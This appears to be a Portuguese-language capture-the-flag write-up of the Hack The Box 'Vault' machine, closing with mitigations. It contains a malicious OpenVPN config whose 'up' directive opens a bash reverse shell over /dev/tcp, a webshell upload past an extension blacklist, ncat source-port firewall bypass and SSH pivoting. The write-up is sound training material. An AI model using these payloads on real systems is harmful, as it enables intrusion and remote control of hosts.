Introdução

Vault é uma máquina Linux de dificuldade Medium da plataforma Hack The Box. O laboratório simula um cenário de pivoting através de múltiplos hosts internos — um servidor web Ubuntu, um servidor DNS e o host final “Vault” — até chegar a uma flag de root protegida por GPG. O IP alvo utilizado durante o teste foi 10.10.10.109.

Escaneamento

O primeiro passo foi varrer todas as portas TCP com nmap para identificar os serviços expostos:

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.109 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.10.109

As capturas acima mostram, respectivamente, a página inicial do serviço web na porta 80 e o resultado do scan do nmap. Apenas duas portas estavam abertas: 22 (SSH) e 80 (HTTP).

Enumeração

Porta 80

A página principal exibe uma mensagem institucional de uma empresa fictícia chamada “Slowdaddy”, mencionando um cliente chamado “Sparklays”. Isso sugeriu a existência de um diretório /sparklays, que devolveu 403 Forbidden — sinal de que o diretório existe mas está protegido. Fuzzing dentro de /sparklays revelou:

• /admin.php: um painel de login que se mostrou um rabbit hole — envia as credenciais via GET e não reage a tentativas simples de bypass.
• /design: também retornou 403. Rodando fuzzing novamente dentro de /sparklays/design/, incluindo as extensões php e html, apareceu a página design.html, que contém um link “Change Logo” levando a uma funcionalidade de upload de arquivos (changelogo.php). Esse foi o ponto de entrada explorado a seguir.

Exploração

O vetor de acesso inicial é uma falha de upload de arquivo restrito por blacklist de extensões em changelogo.php, dentro de /sparklays/design/.

1. Uma webshell PHP simples foi criada (shell.php) e o upload foi tentado, mas rejeitado — a aplicação bloqueia a extensão .php.
2. Para descobrir quais extensões eram de fato aceitas, a requisição de upload foi interceptada e fuzzed com uma wordlist de extensões de arquivo (web-extensions.txt, do SecLists), testando extensão por extensão no campo de nome do arquivo.
3. Comparando o tamanho das respostas, apenas a extensão .php5 retornou um corpo de resposta diferente (526 bytes contra 519 dos demais), indicando que o upload com essa extensão foi aceito pelo filtro.
4. A webshell foi reenviada como shell.php5, contornando a blacklist, e executada diretamente pela URL de upload, resultando em execução remota de comandos como o usuário www-data. A partir da shell como www-data, a enumeração do sistema revelou dois usuários locais, alex e dave. Na área de trabalho (Desktop) de dave havia um arquivo chamado ssh contendo credenciais em texto claro (dave:Dav3therav3123), permitindo trocar a reverse shell por uma sessão SSH estável como dave no host Ubuntu.

Pós-exploração

Pivoting: do host Ubuntu para o servidor DNS interno

Ainda no Desktop de dave havia dois arquivos adicionais: uma chave arbitrária (itscominghome, sem uso aparente naquele momento) e um arquivo Servers, listando outro host interno em 192.168.122.5. Como o nmap não estava disponível na máquina comprometida, a varredura das primeiras 100 portas desse host foi feita com netcat:

nc -zv 192.168.122.5 1-100

O resultado revelou as portas 22 (SSH) e 80 (HTTP) abertas nesse segundo host (o servidor DNS interno). Como esse host não era diretamente acessível, foi criado um túnel SSH local para expor a porta 80 remota na máquina do atacante:

ssh -L 1234:192.168.122.4:80 dave@vault.htb

A interface web local (porta 1234) apresentava duas funcionalidades: um “DNS configurator” (retornando 404) e um “VPN configurator”, que permite gerar e testar um arquivo .ovpn. Abusando da diretiva up de uma configuração OpenVPN (que permite executar um comando/script arbitrário após o estabelecimento do túnel), foi possível obter uma reverse shell no host DNS com o seguinte payload:

remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/9898 0>&1'"

Com um listener ativo na interface interna do host Ubuntu (192.168.122.1:9898) e esse arquivo enviado ao “Test VPN”, a conexão retornou uma shell no servidor DNS — confirmando a flag de usuário.

SSH no servidor DNS e sudo irrestrito

No diretório /home/dave do host DNS havia novamente um arquivo ssh com credenciais (dave:dav3gerous567), permitindo uma conexão SSH estável. Ali, sudo -l mostrou que dave podia executar qualquer comando como root sem restrições, permitindo obter root imediatamente nesse host via sudo su.

Descobrindo e alcançando o host “Vault” (restrição por porta de origem)

O arquivo Servers, visto anteriormente no host Ubuntu, mencionava um terceiro host chamado “The Vault”, mas sem IP associado. Investigando o /var/log/auth.log do servidor DNS como root, foram encontrados registros de comandos executados anteriormente por dave via sudo:

/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444

Esses registros revelaram o IP do host Vault (192.168.5.2) e indicaram que o acesso à porta 987 só é permitido quando a conexão de origem usa a porta 4444 como source port — um mecanismo de firewall equivalente a port knocking, mas baseado em porta de origem fixa em vez de sequência de portas. Repetindo o nmap com --source-port=4444 confirmou a porta 987 aberta (serviço não identificado pelo nmap), enquanto um scan normal mostrava a porta fechada. Para acessar essa porta a partir da sessão obtida, foi usado ncat como intermediário, forçando a porta de origem correta:

ncat -l 2222 --sh-exec "ncat -p 4444 192.168.5.2 987"

Conectando-se a localhost:2222, o serviço respondeu como SSH. Reutilizando as credenciais já obtidas (dave:dav3gerous567), o acesso SSH ao host Vault foi confirmado.

Elevação de privilégios: decodificação da flag de root via GPG

No diretório /home/dave do host Vault havia um arquivo root.txt.gpg — a flag de root, criptografada com GPG. Como base64 não estava disponível nessa máquina, o conteúdo do arquivo foi codificado em base32, copiado manualmente e decodificado no host Ubuntu (onde as ferramentas completas estavam disponíveis). Ali, usando a chave anteriormente descoberta no Desktop de dave (itscominghome) como passphrase, a flag foi decifrada:

gpg -d root.txt.gpg

Com a passphrase correta, o conteúdo da flag de root foi revelado, completando a cadeia de comprometimento total do laboratório — do upload de arquivo inicial até o root final, passando por três hosts distintos.

Anexos

• nmap — varredura de portas e serviços, incluindo scan com --source-port customizado.
• Fuzzer de extensões de upload — wordlist web-extensions.txt (SecLists), usada para contornar a blacklist de changelogo.php.
• netcat / ncat — scan de portas alternativo (quando nmap não estava disponível) e manipulação da porta de origem para acessar o serviço protegido em 192.168.5.2:987.
• ssh -L — tunelamento de porta local para acessar o servidor web interno do host DNS.
• Configuração OpenVPN maliciosa — abuso da diretiva up combinada com script-security 2 para obter execução de comando remoto.
• gpg — decodificação da flag de root protegida por passphrase.

Mitigação

• Validar uploads de arquivo por whitelist de extensões e verificação real do conteúdo (magic bytes / MIME type), nunca por blacklist, e impedir a execução de scripts no diretório de uploads via configuração do servidor web.
• Nunca armazenar credenciais em texto claro em arquivos acessíveis no sistema de arquivos (como os arquivos ssh encontrados nas áreas de trabalho dos usuários); usar um gerenciador de segredos ou, no mínimo, permissões restritivas.
• Restringir e auditar diretivas perigosas em configurações OpenVPN geradas dinamicamente (script-security, up/down), ou não permitir que usuários finais forneçam arquivos .ovpn arbitrários para teste.
• Revisar regras de sudo para impedir permissões irrestritas (ALL) sem necessidade real; aplicar o princípio do menor privilégio com comandos específicos e, quando possível, NOPASSWD desabilitado.
• Não depender de restrição por porta de origem (nem de port knocking tradicional) como único controle de acesso a serviços sensíveis como SSH; combinar com autenticação forte (chaves, MFA) e segmentação de rede adequada.
• Restringir a leitura de logs de auditoria (auth.log) a administradores, já que eles podem vazar comandos sensíveis e segredos operacionais executados via sudo.
• Evitar reutilização de credenciais entre diferentes servidores internos, o que permitiu o uso da mesma senha de dave em múltiplos hosts durante o pivoting.